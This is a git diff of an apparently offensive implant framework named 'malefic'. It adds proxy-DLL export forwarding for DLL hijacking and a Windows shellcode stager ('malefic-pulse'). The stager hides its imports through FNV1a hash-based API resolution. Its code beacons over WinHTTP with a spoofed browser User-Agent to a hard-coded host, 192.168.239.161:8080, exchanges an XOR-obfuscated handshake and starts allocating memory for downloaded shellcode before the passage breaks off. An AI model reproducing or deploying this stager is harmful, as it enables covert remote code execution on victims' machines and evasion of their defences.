+PropVariantToUInt64VectorAlloc=PROPSYS_rename.dll.PropVariantToUInt64VectorAlloc @163 +PropVariantToUInt64WithDefault=PROPSYS_rename.dll.PropVariantToUInt64WithDefault @164 +PropVariantToVariant=PROPSYS_rename.dll.PropVariantToVariant @165 +PropVariantToWinRTPropertyValue=PROPSYS_rename.dll.PropVariantToWinRTPropertyValue @166 +StgDeserializePropVariant=PROPSYS_rename.dll.StgDeserializePropVariant @167 +StgSerializePropVariant=PROPSYS_rename.dll.StgSerializePropVariant @168 +VariantCompare=PROPSYS_rename.dll.VariantCompare @169 +VariantGetBooleanElem=PROPSYS_rename.dll.VariantGetBooleanElem @170 +VariantGetDoubleElem=PROPSYS_rename.dll.VariantGetDoubleElem @171 +VariantGetElementCount=PROPSYS_rename.dll.VariantGetElementCount @172 +VariantGetInt16Elem=PROPSYS_rename.dll.VariantGetInt16Elem @173 +VariantGetInt32Elem=PROPSYS_rename.dll.VariantGetInt32Elem @174 +VariantGetInt64Elem=PROPSYS_rename.dll.VariantGetInt64Elem @175 +VariantGetStringElem=PROPSYS_rename.dll.VariantGetStringElem @176 +VariantGetUInt16Elem=PROPSYS_rename.dll.VariantGetUInt16Elem @177 +VariantGetUInt32Elem=PROPSYS_rename.dll.VariantGetUInt32Elem @178 +VariantGetUInt64Elem=PROPSYS_rename.dll.VariantGetUInt64Elem @179 +VariantToBoolean=PROPSYS_rename.dll.VariantToBoolean @180 +VariantToBooleanArray=PROPSYS_rename.dll.VariantToBooleanArray @181 +VariantToBooleanArrayAlloc=PROPSYS_rename.dll.VariantToBooleanArrayAlloc @182 +VariantToBooleanWithDefault=PROPSYS_rename.dll.VariantToBooleanWithDefault @183 +VariantToBuffer=PROPSYS_rename.dll.VariantToBuffer @184 +VariantToDosDateTime=PROPSYS_rename.dll.VariantToDosDateTime @185 +VariantToDouble=PROPSYS_rename.dll.VariantToDouble @186 +VariantToDoubleArray=PROPSYS_rename.dll.VariantToDoubleArray @187 +VariantToDoubleArrayAlloc=PROPSYS_rename.dll.VariantToDoubleArrayAlloc @188 +VariantToDoubleWithDefault=PROPSYS_rename.dll.VariantToDoubleWithDefault @189 +VariantToFileTime=PROPSYS_rename.dll.VariantToFileTime @190 +VariantToGUID=PROPSYS_rename.dll.VariantToGUID @191 +VariantToInt16=PROPSYS_rename.dll.VariantToInt16 @192 +VariantToInt16Array=PROPSYS_rename.dll.VariantToInt16Array @193 +VariantToInt16ArrayAlloc=PROPSYS_rename.dll.VariantToInt16ArrayAlloc @194 +VariantToInt16WithDefault=PROPSYS_rename.dll.VariantToInt16WithDefault @195 +VariantToInt32=PROPSYS_rename.dll.VariantToInt32 @196 +VariantToInt32Array=PROPSYS_rename.dll.VariantToInt32Array @197 +VariantToInt32ArrayAlloc=PROPSYS_rename.dll.VariantToInt32ArrayAlloc @198 +VariantToInt32WithDefault=PROPSYS_rename.dll.VariantToInt32WithDefault @199 +VariantToInt64=PROPSYS_rename.dll.VariantToInt64 @200 +VariantToInt64Array=PROPSYS_rename.dll.VariantToInt64Array @201 +VariantToInt64ArrayAlloc=PROPSYS_rename.dll.VariantToInt64ArrayAlloc @202 +VariantToInt64WithDefault=PROPSYS_rename.dll.VariantToInt64WithDefault @203 +VariantToPropVariant=PROPSYS_rename.dll.VariantToPropVariant @204 +VariantToStrRet=PROPSYS_rename.dll.VariantToStrRet @205 +VariantToString=PROPSYS_rename.dll.VariantToString @206 +VariantToStringAlloc=PROPSYS_rename.dll.VariantToStringAlloc @207 +VariantToStringArray=PROPSYS_rename.dll.VariantToStringArray @208 +VariantToStringArrayAlloc=PROPSYS_rename.dll.VariantToStringArrayAlloc @209 +VariantToStringWithDefault=PROPSYS_rename.dll.VariantToStringWithDefault @210 +VariantToUInt16=PROPSYS_rename.dll.VariantToUInt16 @211 +VariantToUInt16Array=PROPSYS_rename.dll.VariantToUInt16Array @212 +VariantToUInt16ArrayAlloc=PROPSYS_rename.dll.VariantToUInt16ArrayAlloc @213 +VariantToUInt16WithDefault=PROPSYS_rename.dll.VariantToUInt16WithDefault @214 +VariantToUInt32=PROPSYS_rename.dll.VariantToUInt32 @215 +VariantToUInt32Array=PROPSYS_rename.dll.VariantToUInt32Array @216 +VariantToUInt32ArrayAlloc=PROPSYS_rename.dll.VariantToUInt32ArrayAlloc @217 +VariantToUInt32WithDefault=PROPSYS_rename.dll.VariantToUInt32WithDefault @218 +VariantToUInt64=PROPSYS_rename.dll.VariantToUInt64 @219 +VariantToUInt64Array=PROPSYS_rename.dll.VariantToUInt64Array @220 +VariantToUInt64ArrayAlloc=PROPSYS_rename.dll.VariantToUInt64ArrayAlloc @221 +VariantToUInt64WithDefault=PROPSYS_rename.dll.VariantToUInt64WithDefault @222 +WinRTPropertyValueToPropVariant=PROPSYS_rename.dll.WinRTPropertyValueToPropVariant @223 diff --git a/malefic-proxydll/src/payload.rs b/malefic-proxydll/src/payload.rs index 3334185..a0ec8e9 100644 --- a/malefic-proxydll/src/payload.rs +++ b/malefic-proxydll/src/payload.rs @@ -3,7 +3,7 @@ use std::{thread, ptr}; /// Thread creation interface with feature-based overrides #[cfg(feature = "native_thread")] pub fn create_payload_thread() { - use malefic_helper::win::kit::apis::{m_nt_create_thread_ex, m_get_current_process}; + use malefic_os_win::kit::apis::{m_nt_create_thread_ex, m_get_current_process}; unsafe { let mut thread_handle: *mut core::ffi::c_void = ptr::null_mut(); @@ -51,7 +51,7 @@ pub fn create_payload_thread() { #[no_mangle] pub extern "C" fn execute_payload() { // TODO: Users add their payload implementation here - #[cfg(feature = "malefic-prelude")] - if let Err(_e) = malefic_prelude::run() { + #[cfg(feature = "malefic-autorun")] + if let Err(_e) = malefic_autorun::run() { } } diff --git a/malefic-pulse/Cargo.toml b/malefic-pulse/Cargo.toml index 8e6f4be..21ff87c 100644 --- a/malefic-pulse/Cargo.toml +++ b/malefic-pulse/Cargo.toml @@ -3,9 +3,22 @@ name = "malefic-pulse" version = "0.1.1" edition = "2021" -# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html +[lib] +name = "malefic_pulse" +crate-type = ["staticlib", "cdylib", "rlib"] + +[[bin]] +name = "malefic-pulse" +path = "src/main.rs" + [features] default = [] -prebuild = [] -[target.'cfg(target_os = "windows")'.dependencies] \ No newline at end of file +shellcode = [] + +[profile.release] +panic = "abort" +opt-level = "s" +strip = true +lto = true +codegen-units = 1 \ No newline at end of file diff --git a/malefic-pulse/build.rs b/malefic-pulse/build.rs index 3323e85..8975a81 100644 --- a/malefic-pulse/build.rs +++ b/malefic-pulse/build.rs @@ -1,82 +1,48 @@ +use std::env; + fn main() { - use std::env; - println!("cargo:rerun-if-changed=build.rs"); - let mut is_msvc = false; - let mut default_arch = "x64"; - if env::var("CARGO_CFG_TARGET_OS").unwrap().ne(&"windows") { - return; - } - if env::var("CARGO_CFG_TARGET_ARCH").unwrap() == "x86" { - default_arch = "x32"; + let target = env::var("TARGET").unwrap(); + + if !target.contains("windows") { + panic!("malefic-pulse only supports Windows targets"); } - if env::var("CARGO_CFG_TARGET_ENV").unwrap().eq(&"msvc") { - is_msvc = true; - println!("cargo:rustc-link-arg-bins=/ENTRY:_start"); + + println!("cargo:rerun-if-changed=build.rs"); + println!("cargo:rerun-if-changed=scripts/linker.ld"); + + let is_msvc = target.contains("msvc"); + + // Both exe and shellcode modes use -nostdlib (pulse is always no_std). + // The only difference: shellcode mode adds a linker script to merge all + // sections into a single .text for objcopy extraction. + if is_msvc { + println!("cargo:rustc-link-arg-bins=/ENTRY:stardust"); println!("cargo:rustc-link-arg-bins=/SUBSYSTEM:WINDOWS"); } else { - // let default_linker = "Linker"; - // let arch = &default_arch[1..]; - // let linker = format!("{}{}.{}", default_linker, arch, "ld"); - // let current_dir = env::current_dir() - // .expect("Failed to get current directory"); - // let absolute_linker_path = current_dir.join(linker); - println!("cargo:rustc-link-arg=-nostdlib"); - println!("cargo:rustc-link-arg=-nostartfiles"); - println!("cargo:rustc-link-arg=-fno-ident"); - println!("cargo:rustc-link-arg=-fpack-struct=8"); - println!("cargo:rustc-link-arg=-Wl,--gc-sections"); - println!("cargo:rustc-link-arg=-Wl,--strip-all"); - println!("cargo:rustc-link-arg=-falign-jumps=1"); - println!("cargo:rustc-link-arg=-static"); - println!("cargo:rustc-link-arg=-w"); - println!("cargo:rustc-link-arg=-falign-labels=1"); - println!("cargo:rustc-link-arg=-Wl,-s,--no-seh,--enable-stdcall-fixup"); - println!("cargo:rustc-link-arg=-Wl,--subsystem,windows"); - println!("cargo:rustc-link-arg=-Wl,-e_start"); - } - - #[cfg(feature = "prebuild")] - { - use std::path::PathBuf; - use std::fs; - if env::var("CARGO_CFG_TARGET_OS").unwrap() != "windows" { - return; - } - let mut default_prefix = "libmalefic-win-kit-community-pulse-gnu"; - let mut default_suffix = ".a"; - let mut default_destination = "libmalefic_win_kit_pulse.a"; - let mut ollvm = ""; - if env::var("CARGO_CFG_TARGET_ARCH").unwrap() == "x86" { - default_arch = "x32"; - } - if is_msvc { - default_prefix = "malefic-win-kit-community-pulse-msvc"; - default_suffix = ".lib"; - default_destination = "malefic_win_kit_pulse.lib"; + let entry = if target.contains("x86_64") { + "stardust" } else { - let ollvm_flag_path = env::current_dir() - .unwrap() - .parent() - .unwrap() - .join("resources/ollvm-flags"); - if ollvm_flag_path.exists() { - ollvm = "-ollvm"; - } - } - + "_stardust" + }; + + println!("cargo:rustc-link-arg-bins=-nostdlib"); + println!("cargo:rustc-link-arg-bins=-nostartfiles"); + println!("cargo:rustc-link-arg-bins=-static"); + println!("cargo:rustc-link-arg-bins=-fno-ident"); + println!("cargo:rustc-link-arg-bins=-Wl,-e{}", entry); + println!("cargo:rustc-link-arg-bins=-Wl,--gc-sections"); + println!("cargo:rustc-link-arg-bins=-Wl,--strip-all"); + println!("cargo:rustc-link-arg-bins=-Wl,-s,--no-seh,--enable-stdcall-fixup"); + println!("cargo:rustc-link-arg-bins=-Wl,--subsystem,windows"); - let lib_name = format!("{}-{}{}{}", - default_prefix, default_arch, ollvm, default_suffix); - let out_dir = PathBuf::from(env::var("OUT_DIR").unwrap()); - let current_dir = env::current_dir().unwrap(); - let root_dir = current_dir.parent().unwrap(); - let source_path = root_dir.join("resources").join(lib_name); - let destination_path = out_dir.join(default_destination); - fs::copy(&source_path, &destination_path).expect( - &format!("Failed to copy file {}", - source_path.display()).to_string()); - println!("cargo:rustc-link-search=native={}", out_dir.display()); - println!("cargo:rustc-link-lib=static={}", "malefic_win_kit_pulse"); - return; + // Shellcode mode: custom linker script merges everything into .text + #[cfg(feature = "shellcode")] + { + let linker_script = format!( + "{}/scripts/linker.ld", + env::var("CARGO_MANIFEST_DIR").unwrap() + ); + println!("cargo:rustc-link-arg-bins=-T{}", linker_script); + } } -} \ No newline at end of file +} diff --git a/malefic-pulse/scripts/linker.ld b/malefic-pulse/scripts/linker.ld new file mode 100644 index 0000000..e1f43eb --- /dev/null +++ b/malefic-pulse/scripts/linker.ld @@ -0,0 +1,28 @@ +SECTIONS +{ + .text : + { + *( .text$A ); + *( .text ); + *( .text$B ); + *( .rdata* ); + *( .text$C ); + } + + /DISCARD/ : + { + *(.pdata); + *(.xdata); + *(.debug*); + *(.eh_frame); + *(.note*); + *(.comment*); + *(.idata*); + *(.data*); + *(.bss*); + *(.CRT*); + *(.tls*); + *(.rsrc*); + *(.reloc*); + } +} diff --git a/malefic-pulse/src/constants.rs b/malefic-pulse/src/constants.rs new file mode 100644 index 0000000..b45ad4d --- /dev/null +++ b/malefic-pulse/src/constants.rs @@ -0,0 +1,35 @@ +#![allow(dead_code)] + +// FNV1a hash constants +pub const FNV1A_PRIME: u32 = 0x01000193; +pub const FNV1A_BASIS: u32 = 0x811c9dc5; + +// Constants for shellcode +#[cfg(target_arch = "x86_64")] +pub const END_OFFSET: usize = 0x10; + +#[cfg(target_arch = "x86")] +pub const END_OFFSET: usize = 0x10; + +// Windows constants +pub const IMAGE_DOS_SIGNATURE: u16 = 0x5A4D; +pub const IMAGE_NT_SIGNATURE: u32 = 0x00004550; +pub const IMAGE_DIRECTORY_ENTRY_EXPORT: usize = 0; + +// Memory allocation constants +pub const MEM_COMMIT: u32 = 0x1000; +pub const MEM_RESERVE: u32 = 0x2000; +pub const PAGE_READWRITE: u32 = 0x04; +pub const PAGE_EXECUTE_READ: u32 = 0x20; +pub const PAGE_EXECUTE_READWRITE: u32 = 0x40; + +// WinSock constants +pub const AF_INET: i32 = 2; +pub const SOCK_STREAM: i32 = 1; +pub const IPPROTO_TCP: i32 = 6; + +// NTSTATUS +pub const STATUS_SUCCESS: i32 = 0; + +// Thread creation flags +pub const THREAD_CREATE_FLAGS_CREATE_SUSPENDED: u32 = 0x00000001; diff --git a/malefic-pulse/src/hash.rs b/malefic-pulse/src/hash.rs new file mode 100644 index 0000000..6ae8395 --- /dev/null +++ b/malefic-pulse/src/hash.rs @@ -0,0 +1,70 @@ +use crate::constants::{FNV1A_BASIS, FNV1A_PRIME}; + +pub unsafe fn hash_string(string: *const u8) -> u32 { + let mut hash = FNV1A_BASIS; + let mut ptr = string; + + while *ptr != 0 { + let mut byte = *ptr; + + if byte >= b'a' { + byte -= 0x20; + } + + hash ^= byte as u32; + hash = hash.wrapping_mul(FNV1A_PRIME); + + ptr = ptr.add(1); + } + + hash +} + +pub unsafe fn hash_string_wide(string: *const u16) -> u32 { + let mut hash = FNV1A_BASIS; + let mut ptr = string; + + while *ptr != 0 { + let mut byte = (*ptr & 0xFF) as u8; + + if byte >= b'a' { + byte -= 0x20; + } + + hash ^= byte as u32; + hash = hash.wrapping_mul(FNV1A_PRIME); + + ptr = ptr.add(1); + } + + hash +} + +#[allow(dead_code)] +pub const fn hash_const(s: &str) -> u32 { + let bytes = s.as_bytes(); + let mut hash = FNV1A_BASIS; + let mut i = 0; + + while i < bytes.len() { + let mut byte = bytes[i]; + + if byte >= b'a' { + byte -= 0x20; + } + + hash ^= byte as u32; + hash = hash.wrapping_mul(FNV1A_PRIME); + + i += 1; + } + + hash +} + +#[macro_export] +macro_rules! hash_str { + ($s:expr) => { + $crate::hash::hash_const($s) + }; +} diff --git a/malefic-pulse/src/instance.rs b/malefic-pulse/src/instance.rs new file mode 100644 index 0000000..869f33b --- /dev/null +++ b/malefic-pulse/src/instance.rs @@ -0,0 +1,469 @@ +use crate::constants::{ + AF_INET, END_OFFSET, IPPROTO_TCP, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READ, + PAGE_READWRITE, SOCK_STREAM, STATUS_SUCCESS, THREAD_CREATE_FLAGS_CREATE_SUSPENDED, +}; +use crate::hash_str; +use crate::resolve; +use crate::windows::*; +use core::ffi::c_void; + +// kernel32 function pointer types +type FnLoadLibraryA = unsafe extern "system" fn(lpLibFileName: PSTR) -> HMODULE; +type FnGetProcAddress = unsafe extern "system" fn(hModule: HMODULE, lpProcName: PSTR) -> PVOID; + +// ws2_32 function pointer types +type FnWSAStartup = unsafe extern "system" fn(wVersionRequested: WORD, lpWSAData: *mut WSADATA) -> i32; +type FnSocket = unsafe extern "system" fn(af: i32, socket_type: i32, protocol: i32) -> usize; +type FnConnect = unsafe extern "system" fn(s: usize, name: *const SOCKADDR_IN, namelen: i32) -> i32; +type FnSend = unsafe extern "system" fn(s: usize, buf: *const u8, len: i32, flags: i32) -> i32; +type FnRecv = unsafe extern "system" fn(s: usize, buf: *mut u8, len: i32, flags: i32) -> i32; +type FnClosesocket = unsafe extern "system" fn(s: usize) -> i32; +type FnInetAddr = unsafe extern "system" fn(cp: *const u8) -> u32; +type FnHtons = unsafe extern "system" fn(hostshort: u16) -> u16; + +// winhttp.dll function pointer types +type FnWinHttpOpen = unsafe extern "system" fn( + pszAgentW: LPCWSTR, dwAccessType: DWORD, pszProxyW: LPCWSTR, + pszProxyBypassW: LPCWSTR, dwFlags: DWORD, +) -> HANDLE; +type FnWinHttpConnect = unsafe extern "system" fn( + hSession: HANDLE, pswzServerName: LPCWSTR, nServerPort: WORD, dwReserved: DWORD, +) -> HANDLE; +type FnWinHttpOpenRequest = unsafe extern "system" fn( + hConnect: HANDLE, pwszVerb: LPCWSTR, pwszObjectName: LPCWSTR, + pwszVersion: LPCWSTR, pwszReferrer: LPCWSTR, ppwszAcceptTypes: *const LPCWSTR, + dwFlags: DWORD, +) -> HANDLE; +type FnWinHttpSendRequest = unsafe extern "system" fn( + hRequest: HANDLE, lpszHeaders: LPCWSTR, dwHeadersLength: DWORD, + lpOptional: PVOID, dwOptionalLength: DWORD, + dwTotalLength: DWORD, dwContext: usize, +) -> BOOL; +type FnWinHttpReceiveResponse = unsafe extern "system" fn( + hRequest: HANDLE, lpReserved: PVOID, +) -> BOOL; +type FnWinHttpReadData = unsafe extern "system" fn( + hRequest: HANDLE, lpBuffer: PVOID, dwNumberOfBytesToRead: DWORD, + lpdwNumberOfBytesRead: *mut DWORD, +) -> BOOL; +type FnWinHttpCloseHandle = unsafe extern "system" fn(hInternet: HANDLE) -> BOOL; +type FnWinHttpSetOption = unsafe extern "system" fn( + hInternet: HANDLE, dwOption: DWORD, lpBuffer: PVOID, dwBufferLength: DWORD, +) -> BOOL; + +// wininet.dll function pointer types +type FnInternetOpenA = unsafe extern "system" fn( + lpszAgent: PSTR, dwAccessType: DWORD, lpszProxy: PSTR, + lpszProxyBypass: PSTR, dwFlags: DWORD, +) -> HANDLE; +type FnInternetConnectA = unsafe extern "system" fn( + hInternet: HANDLE, lpszServerName: PSTR, nServerPort: WORD, + lpszUserName: PSTR, lpszPassword: PSTR, + dwService: DWORD, dwFlags: DWORD, dwContext: usize, +) -> HANDLE; +type FnHttpOpenRequestA = unsafe extern "system" fn( + hConnect: HANDLE, lpszVerb: PSTR, lpszObjectName: PSTR, + lpszVersion: PSTR, lpszReferrer: PSTR, lplpszAcceptTypes: *const PSTR, + dwFlags: DWORD, dwContext: usize, +) -> HANDLE; +type FnHttpSendRequestA = unsafe extern "system" fn( + hRequest: HANDLE, lpszHeaders: PSTR, dwHeadersLength: DWORD, + lpOptional: PVOID, dwOptionalLength: DWORD, +) -> BOOL; +type FnInternetReadFile = unsafe extern "system" fn( + hFile: HANDLE, lpBuffer: PVOID, dwNumberOfBytesToRead: DWORD, + lpdwNumberOfBytesRead: *mut DWORD, +) -> BOOL; +type FnInternetCloseHandle = unsafe extern "system" fn(hInternet: HANDLE) -> BOOL; +type FnInternetSetOptionA = unsafe extern "system" fn( + hInternet: HANDLE, dwOption: DWORD, lpBuffer: PVOID, dwBufferLength: DWORD, +) -> BOOL; + +// ntdll NtAPI function pointer types +type FnNtAllocateVirtualMemory = unsafe extern "system" fn( + ProcessHandle: HANDLE, + BaseAddress: *mut PVOID, + ZeroBits: ULONG_PTR, + RegionSize: PSIZE_T, + AllocationType: ULONG, + Protect: ULONG, +) -> NTSTATUS; +type FnNtProtectVirtualMemory = unsafe extern "system" fn( + ProcessHandle: HANDLE, + BaseAddress: *mut PVOID, + RegionSize: PSIZE_T, + NewProtect: ULONG, + OldProtect: *mut ULONG, +) -> NTSTATUS; +type FnNtCreateThreadEx = unsafe extern "system" fn( + ThreadHandle: *mut HANDLE, + DesiredAccess: ACCESS_MASK, + ObjectAttributes: *mut OBJECT_ATTRIBUTES, + ProcessHandle: HANDLE, + StartRoutine: PVOID, + Argument: PVOID, + CreateFlags: ULONG, + ZeroBits: SIZE_T, + StackSize: SIZE_T, + MaximumStackSize: SIZE_T, + AttributeList: PVOID, +) -> NTSTATUS; +type FnNtQueueApcThread = unsafe extern "system" fn( + ThreadHandle: HANDLE, + ApcRoutine: PVOID, + ApcArgument1: PVOID, + ApcArgument2: PVOID, + ApcArgument3: PVOID, +) -> NTSTATUS; +type FnNtAlertResumeThread = unsafe extern "system" fn( + ThreadHandle: HANDLE, + PreviousSuspendCount: *mut ULONG, +) -> NTSTATUS; +type FnNtWaitForSingleObject = unsafe extern "system" fn( + Handle: HANDLE, + Alertable: BOOL, + Timeout: *mut i64, +) -> NTSTATUS; + +pub struct Instance { + pub base: BaseInfo, + pub ntdll: NtdllModule, + pub kernel32: Kernel32Module, +} + +pub struct BaseInfo { + pub address: usize, + pub length: usize, +} + +pub struct NtdllModule { + pub handle: usize, + pub NtAllocateVirtualMemory: *mut FnNtAllocateVirtualMemory, + pub NtProtectVirtualMemory: *mut FnNtProtectVirtualMemory, + pub NtCreateThreadEx: *mut FnNtCreateThreadEx, + pub NtQueueApcThread: *mut FnNtQueueApcThread, + pub NtAlertResumeThread: *mut FnNtAlertResumeThread, + pub NtWaitForSingleObject: *mut FnNtWaitForSingleObject, +} + +pub struct Kernel32Module { + pub handle: usize, + pub LoadLibraryA: *mut FnLoadLibraryA, + pub GetProcAddress: *mut FnGetProcAddress, +} + +impl Instance { + pub fn new() -> Self { + unsafe { + let mut instance = Instance { + base: BaseInfo { + address: 0, + length: 0, + }, + ntdll: NtdllModule { + handle: 0, + NtAllocateVirtualMemory: core::ptr::null_mut(), + NtProtectVirtualMemory: core::ptr::null_mut(), + NtCreateThreadEx: core::ptr::null_mut(), + NtQueueApcThread: core::ptr::null_mut(), + NtAlertResumeThread: core::ptr::null_mut(), + NtWaitForSingleObject: core::ptr::null_mut(), + }, + kernel32: Kernel32Module { + handle: 0, + LoadLibraryA: core::ptr::null_mut(), + GetProcAddress: core::ptr::null_mut(), + }, + }; + + instance.base.address = crate::RipStart(); + instance.base.length = + (crate::RipData() - instance.base.address) + END_OFFSET; + + instance.ntdll.handle = resolve::module(hash_str!("ntdll.dll")); + if instance.ntdll.handle == 0 { + return instance; + } + + instance.kernel32.handle = resolve::module(hash_str!("kernel32.dll")); + if instance.kernel32.handle == 0 { + return instance; + } + + // Resolve kernel32 APIs + instance.kernel32.LoadLibraryA = core::mem::transmute( + resolve::_api(instance.kernel32.handle, hash_str!("LoadLibraryA") as usize), + ); + instance.kernel32.GetProcAddress = core::mem::transmute( + resolve::_api(instance.kernel32.handle, hash_str!("GetProcAddress") as usize), + ); + + // Resolve ntdll APIs + instance.ntdll.NtAllocateVirtualMemory = core::mem::transmute( + resolve::_api(instance.ntdll.handle, hash_str!("NtAllocateVirtualMemory") as usize), + ); + instance.ntdll.NtProtectVirtualMemory = core::mem::transmute( + resolve::_api(instance.ntdll.handle, hash_str!("NtProtectVirtualMemory") as usize), + ); + instance.ntdll.NtCreateThreadEx = core::mem::transmute( + resolve::_api(instance.ntdll.handle, hash_str!("NtCreateThreadEx") as usize), + ); + instance.ntdll.NtQueueApcThread = core::mem::transmute( + resolve::_api(instance.ntdll.handle, hash_str!("NtQueueApcThread") as usize), + ); + instance.ntdll.NtAlertResumeThread = core::mem::transmute( + resolve::_api(instance.ntdll.handle, hash_str!("NtAlertResumeThread") as usize), + ); + instance.ntdll.NtWaitForSingleObject = core::mem::transmute( + resolve::_api(instance.ntdll.handle, hash_str!("NtWaitForSingleObject") as usize), + ); + + instance + } + } + + // INSTANCE_START_MARKER - malefic-mutant appends start() and closes impl below + + pub unsafe fn start(&self, _args: *mut c_void) { + fn xor_process(data: &mut [u8], key: &[u8], iv: &[u8], counter: &mut usize) { + for byte in data.iter_mut() { + *byte ^= key[*counter % key.len()] ^ iv[*counter % iv.len()]; + *counter += 1; + } + } + + // Load winhttp.dll + let dll_name: [u8; 12] = [b'w', b'i', b'n', b'h', b't', b't', b'p', b'.', b'd', b'l', b'l', 0]; + let load_lib: FnLoadLibraryA = core::mem::transmute(self.kernel32.LoadLibraryA); + let h_dll = load_lib(dll_name.as_ptr() as *mut u8); + if h_dll.is_null() { return; } + let dll_base = h_dll as usize; + + // Resolve WinHTTP APIs via hash + let p_winhttp_open: FnWinHttpOpen = core::mem::transmute( + resolve::_api(dll_base, hash_str!("WinHttpOpen") as usize)); + let p_winhttp_connect: FnWinHttpConnect = core::mem::transmute( + resolve::_api(dll_base, hash_str!("WinHttpConnect") as usize)); + let p_winhttp_open_request: FnWinHttpOpenRequest = core::mem::transmute( + resolve::_api(dll_base, hash_str!("WinHttpOpenRequest") as usize)); + let p_winhttp_send_request: FnWinHttpSendRequest = core::mem::transmute( + resolve::_api(dll_base, hash_str!("WinHttpSendRequest") as usize)); + let p_winhttp_receive_response: FnWinHttpReceiveResponse = core::mem::transmute( + resolve::_api(dll_base, hash_str!("WinHttpReceiveResponse") as usize)); + let p_winhttp_read_data: FnWinHttpReadData = core::mem::transmute( + resolve::_api(dll_base, hash_str!("WinHttpReadData") as usize)); + let p_winhttp_close_handle: FnWinHttpCloseHandle = core::mem::transmute( + resolve::_api(dll_base, hash_str!("WinHttpCloseHandle") as usize)); + let p_winhttp_set_option: FnWinHttpSetOption = core::mem::transmute( + resolve::_api(dll_base, hash_str!("WinHttpSetOption") as usize)); + + // WinHttpOpen(userAgent, WINHTTP_ACCESS_TYPE_NO_PROXY=1, null, null, 0) + let h_session = p_winhttp_open( + core::ptr::null(), + 1u32, + core::ptr::null(), + core::ptr::null(), + 0u32, + ); + if h_session.is_null() { return; } + + // WinHttpConnect(hSession, server, port, 0) + let server: [u16; 16] = [0x0031, 0x0039, 0x0032, 0x002e, 0x0031, 0x0036, 0x0038, 0x002e, 0x0032, 0x0033, 0x0039, 0x002e, 0x0031, 0x0036, 0x0031, 0x0000]; + let h_connect = p_winhttp_connect( + h_session, + server.as_ptr(), + 8080u16, + 0u32, + ); + if h_connect.is_null() { + p_winhttp_close_handle(h_session); + return; + } + + // WinHttpOpenRequest(hConnect, method, path, null, null, null, flags) + let method: [u16; 5] = [0x0050, 0x004f, 0x0053, 0x0054, 0x0000]; + let path: [u16; 7] = [0x002f, 0x0070, 0x0075, 0x006c, 0x0073, 0x0065, 0x0000]; + let flags: DWORD = 0u32; + let h_request = p_winhttp_open_request( + h_connect, + method.as_ptr(), + path.as_ptr(), + core::ptr::null(), + core::ptr::null(), + core::ptr::null(), + flags, + ); + if h_request.is_null() { + p_winhttp_close_handle(h_connect); + p_winhttp_close_handle(h_session); + return; + } + + + + // Configuration + let key: [u8; 16] = [0x6d, 0x61, 0x6c, 0x69, 0x63, 0x65, 0x6f, 0x66, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c]; + let iv: [u8; 16] = [0x6c, 0x61, 0x6e, 0x72, 0x65, 0x74, 0x6e, 0x69, 0x66, 0x6f, 0x65, 0x63, 0x69, 0x6c, 0x61, 0x6d]; + + // Build handshake body: [start][magic:4][artifact_id:4][end] + let mut body: [u8; 10] = [0; 10]; + body[0] = 65u8; + let m = 0x03e3d026u32.to_le_bytes(); + body[1] = m[0]; body[2] = m[1]; body[3] = m[2]; body[4] = m[3]; + let a = 3u32.to_le_bytes(); + body[5] = a[0]; body[6] = a[1]; body[7] = a[2]; body[8] = a[3]; + body[9] = 66u8; + + // Encrypt body + let mut counter: usize = 0; + xor_process(&mut body, &key, &iv, &mut counter); + + // WinHttpSendRequest(hRequest, headers, headersLen, body, bodyLen, totalLen, context) + let req_headers: [u16; 87] = [0x0055, 0x0073, 0x0065, 0x0072, 0x002d, 0x0041, 0x0067, 0x0065, 0x006e, 0x0074, 0x003a, 0x0020, 0x004d, 0x006f, 0x007a, 0x0069, 0x006c, 0x006c, 0x0061, 0x002f, 0x0035, 0x002e, 0x0030, 0x0020, 0x0028, 0x0057, 0x0069, 0x006e, 0x0064, 0x006f, 0x0077, 0x0073, 0x0020, 0x004e, 0x0054, 0x0020, 0x0036, 0x002e, 0x0031, 0x003b, 0x0020, 0x0057, 0x004f, 0x0057, 0x0036, 0x0034, 0x003b, 0x0020, 0x0072, 0x0076, 0x003a, 0x0034, 0x0030, 0x002e, 0x0030, 0x0029, 0x0020, 0x0047, 0x0065, 0x0063, 0x006b, 0x006f, 0x002f, 0x0032, 0x0030, 0x0031, 0x0030, 0x0030, 0x0031, 0x0030, 0x0031, 0x0020, 0x0046, 0x0069, 0x0072, 0x0065, 0x0066, 0x006f, 0x0078, 0x002f, 0x0034, 0x0030, 0x002e, 0x0030, 0x000d, 0x000a, 0x0000]; + let ret = p_winhttp_send_request( + h_request, + req_headers.as_ptr(), + 86u32, + body.as_ptr() as PVOID, + 10u32, + 10u32, + 0usize, + ); + if ret == 0 { + p_winhttp_close_handle(h_request); + p_winhttp_close_handle(h_connect); + p_winhttp_close_handle(h_session); + return; + } + + // WinHttpReceiveResponse + let ret = p_winhttp_receive_response(h_request, core::ptr::null_mut()); + if ret == 0 { + p_winhttp_close_handle(h_request); + p_winhttp_close_handle(h_connect); + p_winhttp_close_handle(h_session); + return; + } + + // Read response body: first 9 bytes header + let mut resp: [u8; 9] = [0; 9]; + let mut offset = 0u32; + while offset < 9 { + let mut bytes_read: DWORD = 0; + let ret = p_winhttp_read_data( + h_request, + resp.as_mut_ptr().add(offset as usize) as PVOID, + 9 - offset, + &mut bytes_read, + ); + if ret == 0 || bytes_read == 0 { + p_winhttp_close_handle(h_request); + p_winhttp_close_handle(h_connect); + p_winhttp_close_handle(h_session); + return; + } + offset += bytes_read; + } + + // Decrypt and validate response + counter = 0; + xor_process(&mut resp, &key, &iv, &mut counter); + if resp[0] != 65u8 { + p_winhttp_close_handle(h_request); + p_winhttp_close_handle(h_connect); + p_winhttp_close_handle(h_session); + return; + } + let recv_magic = u32::from_le_bytes([resp[1], resp[2], resp[3], resp[4]]); + let recv_len = u32::from_le_bytes([resp[5], resp[6], resp[7], resp[8]]); + if recv_magic != 0x03e3d026u32 || recv_len == 0 { + p_winhttp_close_handle(h_request); + p_winhttp_close_handle(h_connect); + p_winhttp_close_handle(h_session); + return; + } + + // Allocate memory for shellcode + let mut base_addr: PVOID = core::ptr::null_mut(); + let mut region_size: SIZE_T = recv_len as usize + 1; + let nt_alloc: FnNtAllocateVirtualMemory = + core::mem::transmute(self.ntdll.NtAllocateVirtualMemory); + let status = nt_alloc( + 